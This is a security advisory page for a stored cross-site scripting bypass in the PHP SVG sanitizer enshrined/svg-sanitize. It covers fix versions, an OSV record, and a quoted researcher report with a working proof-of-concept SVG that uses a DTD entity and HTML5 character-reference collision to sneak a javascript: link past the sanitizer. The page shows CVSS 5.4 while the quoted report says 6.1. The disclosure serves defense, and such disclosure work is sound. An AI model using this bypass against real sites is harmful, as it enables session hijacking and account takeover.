CVE-2026-107380: enshrined/svg-sanitize Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-9rjx-3jch-6vjf
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-107380 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting enshrined/svg-sanitize libraries in the Packagist ecosystem. The issue involves stored xss via dtd entity / html5 named character reference collision. Remediation is available by upgrading affected packages to version 1.0.0.

CVE-2026-107380 at a Glance

CVE Identifier CVE-2026-107380
GHSA Identifier GHSA-9rjx-3jch-6vjf
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product enshrined/svg-sanitize
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-107380

To remediate this vulnerability, upgrade all affected enshrined/svg-sanitize dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

enshrined/svg-sanitize fixed: 1.0.0
Upgrade enshrined/svg-sanitize to 1.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for enshrined/svg-sanitize

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-107380, inspect your project dependencies for enshrined/svg-sanitize:

inspect dependencies for enshrined/svg-sanitize

Analyze the terminal output to locate any version of enshrined/svg-sanitize in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In enshrined/svg-sanitize, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline). **This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.** **Affected installations:** - **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents - **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes) - **TYPO3, Drupal** and 90+ other Packagist dependents ## Vulnerability Details ### Mechanism 1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference: ```xml <!ENTITY Tab "#"> ``` In XML, `&Tab;` expands to the literal string `"#"` (from the DTD definition). In HTML5, `&Tab;` is a Named Character Reference that resolves to U+0009 (TAB character). 2. The SVG uses this entity in an href: ```xml <a href="&Tab;javascript:alert(document.domain)"> ``` 3. **During sanitization** (XML context): `&Tab;` → `"#"` → the sanitizer sees `href="#javascript:alert(document.domain)"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through. 4. **Sanitizer output:** `saveXML()` outputs the entity reference `&Tab;` (not the expanded value), and strips the DOCTYPE declaration. 5. **In the browser** (HTML5 context): Without the DOCTYPE, `&Tab;` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**. ### Root Cause (Sanitizer.php) ```php // isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution) protected function isHrefSafeValue($value) { if ('#' === substr($value, 0, 1)) { return true; // Fragment identifier — "safe" } // ... } // But saveXML() preserves the entity REFERENCE, not the expanded value // And the DOCTYPE (which defines the entity) is stripped from output // → semantic mismatch between validation and output contexts ``` ## Proof of Concept ### Malicious SVG (xss.svg) ```xml <!DOCTYPE svg [<!ENTITY Tab "#">]> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> ``` ### Sanitizer processing ```php <?php require_once 'vendor/autoload.php'; $svg = file_get_contents('xss.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo $clean; ``` **Output:** ```xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> ``` The `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `&Tab;` entity reference is preserved. ### Browser exploitation Embed the sanitized SVG inline in HTML: ```html <div class="svg-container"> <!-- sanitized SVG output inserted here --> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> </div> ``` **Clicking the red rectangle executes `alert(document.domain)`.** **Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html` ### Exploitable Named Character References Any HTML5 Named Character Reference that expands to a URL-parser-ignored character: - `&Tab;` → U+0009 (Horizontal Tab) - `&NewLine;` → U+000A (Line Feed) These are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme. ## Impact ### Stored XSS - Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint - SVG passes sanitization — sanitizer reports no issues - When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin - **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking ### Context requirement The sanitized SVG must be embedded **inline in HTML** (not as `<img src="file.svg">`). Common scenarios: - WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering - WordPress block editor SVG preview - Any web application rendering svg-sanitize output directly in HTML Standalone `<img src="...svg">` is NOT affected (browser uses XML parser, `&Tab;` without DOCTYPE = XML parse error). ## CVSS **CVSS 3.1: 6.1 (Medium)** — stored XSS, requires user click `AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` With session stealing / admin takeover chain: effective severity **High**. ## Suggested Fix ### Option 1: Strip DOCTYPE before parsing (recommended) ```php $dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty); ``` Eliminates entity definitions entirely. No DTD entities = no collision. ### Option 2: Validate href after serialization ```php $clean = $this->xmlDocument->saveXML(...); // Post-serialization check: re-validate all href values in the OUTPUT // (catches entity references that bypass the XML-expanded check) ``` ### Option 3: Expand entities before validation Validate `getAttribute()` return value AND the serialized form: ```php $href = $element->getAttribute($attrName); $serialized = $this->xmlDocument->saveXML($element); // Check both for javascript: scheme ``` ## Environment - enshrined/svg-sanitize 0.22.x - Chrome 148 (confirmed XSS execution) - PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom) **Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/) Denis Rostilov**

CVE-2026-107380 Affected enshrined/svg-sanitize Versions

1 component(s)
Fixed Versions:
1.0.0
Product / Package Ecosystem Affected Versions Fixed Version
enshrined/svg-sanitize
Packagist
< 1.0.0
1.0.0

References

Frequently Asked Questions

What is CVE-2026-107380?
CVE-2026-107380 is a security vulnerability in enshrined/svg-sanitize involving Stored XSS via DTD Entity / HTML5 Named Character Reference Collision under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which enshrined/svg-sanitize versions are affected?
Affected versions include releases prior to 1.0.0 across affected packages: enshrined/svg-sanitize.
What version fixes CVE-2026-107380?
Upgrading to 1.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is enshrined/svg-sanitize affected?
Yes, enshrined/svg-sanitize is affected in releases prior to 1.0.0. Upgrade your dependency to 1.0.0 or later.
What is the CVSS score of CVE-2026-107380?
CVE-2026-107380 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-107380?
CVE-2026-107380 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-107380?
Run the dependency tree command: 'inspect dependencies for enshrined/svg-sanitize'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9rjx-3jch-6vjf",
  "modified" : "2026-10-08T19:41:15Z",
  "published" : "2026-10-08T19:41:15Z",
  "aliases" : [ "CVE-2026-107380" ],
  "summary" : "enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision",
  "details" : "## Summary\n\nA crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).\n\n**This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.**\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes)\n- **TYPO3, Drupal** and 90+ other Packagist dependents\n\n## Vulnerability Details\n\n### Mechanism\n\n1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:\n   ```xml\n   <!ENTITY Tab \"#\">\n   ```\n   In XML, `&Tab;` expands to the literal string `\"#\"` (from the DTD definition).\n   In HTML5, `&Tab;` is a Named Character Reference that resolves to U+0009 (TAB character).\n\n2. The SVG uses this entity in an href:\n   ```xml\n   <a href=\"&Tab;javascript:alert(document.domain)\">\n   ```\n\n3. **During sanitization** (XML context): `&Tab;` → `\"#\"` → the sanitizer sees `href=\"#javascript:alert(document.domain)\"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through.\n\n4. **Sanitizer output:** `saveXML()` outputs the entity reference `&Tab;` (not the expanded value), and strips the DOCTYPE declaration.\n\n5. **In the browser** (HTML5 context): Without the DOCTYPE, `&Tab;` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**.\n\n### Root Cause (Sanitizer.php)\n\n```php\n// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)\nprotected function isHrefSafeValue($value) {\n    if ('#' === substr($value, 0, 1)) {\n        return true;  // Fragment identifier — \"safe\"\n    }\n    // ...\n}\n\n// But saveXML() preserves the entity REFERENCE, not the expanded value\n// And the DOCTYPE (which defines the entity) is stripped from output\n// → semantic mismatch between validation and output contexts\n```\n\n## Proof of Concept\n\n### Malicious SVG (xss.svg)\n\n```xml\n<!DOCTYPE svg [<!ENTITY Tab \"#\">]>\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\">\n  <a href=\"&Tab;javascript:alert(document.domain)\">\n    <rect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/>\n    <text x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\">CLICK ME</text>\n  </a>\n</svg>\n```\n\n### Sanitizer processing\n\n```php\n<?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('xss.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer->sanitize($svg);\necho $clean;\n```\n\n**Output:**\n```xml\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\">\n  <a href=\"&Tab;javascript:alert(document.domain)\">\n    <rect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/>\n    <text x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\">CLICK ME</text>\n  </a>\n</svg>\n```\n\nThe `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `&Tab;` entity reference is preserved.\n\n### Browser exploitation\n\nEmbed the sanitized SVG inline in HTML:\n```html\n<div class=\"svg-container\">\n  <!-- sanitized SVG output inserted here -->\n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\">\n    <a href=\"&Tab;javascript:alert(document.domain)\">\n      <rect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/>\n      <text x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\">CLICK ME</text>\n    </a>\n  </svg>\n</div>\n```\n\n**Clicking the red rectangle executes `alert(document.domain)`.**\n\n**Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html`\n\n### Exploitable Named Character References\n\nAny HTML5 Named Character Reference that expands to a URL-parser-ignored character:\n- `&Tab;` → U+0009 (Horizontal Tab)\n- `&NewLine;` → U+000A (Line Feed)\n\nThese are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme.\n\n## Impact\n\n### Stored XSS\n\n- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint\n- SVG passes sanitization — sanitizer reports no issues\n- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin\n- **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking\n\n### Context requirement\n\nThe sanitized SVG must be embedded **inline in HTML** (not as `<img src=\"file.svg\">`). Common scenarios:\n- WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering\n- WordPress block editor SVG preview\n- Any web application rendering svg-sanitize output directly in HTML\n\nStandalone `<img src=\"...svg\">` is NOT affected (browser uses XML parser, `&Tab;` without DOCTYPE = XML parse error).\n\n## CVSS\n\n**CVSS 3.1: 6.1 (Medium)** — stored XSS, requires user click\n\n`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`\n\nWith session stealing / admin takeover chain: effective severity **High**.\n\n## Suggested Fix\n\n### Option 1: Strip DOCTYPE before parsing (recommended)\n\n```php\n$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\\[.*?\\])?\\s*>/si', '', $dirty);\n```\n\nEliminates entity definitions entirely. No DTD entities = no collision.\n\n### Option 2: Validate href after serialization\n\n```php\n$clean = $this->xmlDocument->saveXML(...);\n// Post-serialization check: re-validate all href values in the OUTPUT\n// (catches entity references that bypass the XML-expanded check)\n```\n\n### Option 3: Expand entities before validation\n\nValidate `getAttribute()` return value AND the serialized form:\n```php\n$href = $element->getAttribute($attrName);\n$serialized = $this->xmlDocument->saveXML($element);\n// Check both for javascript: scheme\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x\n- Chrome 148 (confirmed XSS execution)\n- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "enshrined/svg-sanitize"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.22.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-107380"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/darylldoyle/svg-sanitizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:41:15Z",
    "nvd_published_at" : "2026-10-08T18:17:23Z"
  }
}